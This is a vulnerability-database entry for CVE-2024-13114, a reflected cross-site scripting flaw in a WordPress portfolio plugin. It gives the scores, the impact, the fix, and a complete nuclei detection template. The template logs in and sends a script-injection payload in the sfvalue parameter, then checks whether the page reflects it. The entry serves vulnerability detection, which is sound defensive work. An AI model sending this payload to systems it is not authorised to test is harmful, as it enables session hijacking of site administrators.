HexBrain

Browse / CVEs / CVE-2024-13114

CVE-2024-13114· phptechie / wp projects portfolio with client testimonials· CWE-79

WP Projects Portfolio <= 3.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

WP Projects Portfolio with Client Testimonials WordPress plugin <= 3.0 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/edit.php?post_type=wpprojects_portfolio&sfvalue=1"></script><script>alert(document.domain)</script><script>`
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "wpprojects_portfolio") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13114 -u <target>

The full check
id: CVE-2024-13114

info:
  name: WP Projects Portfolio <= 3.0 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP Projects Portfolio with Client Testimonials WordPress plugin <= 3.0 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/0cecda12-590a-42a6-b10b-e0efe7fb3a3a/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13114
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13114
    cwe-id: CWE-79
    epss-score: 0.00584
    epss-percentile: 0.48234
    cpe: cpe:2.3:a:phptechie:wp_projects_portfolio_with_client_testimonials:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: phptechie
    product: wp_projects_portfolio_with_client_testimonials
  tags: cve,cve2024,wordpress,wp-plugin,wp-projects-portfolio,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=wpprojects_portfolio&sfvalue=1"></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "wpprojects_portfolio")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from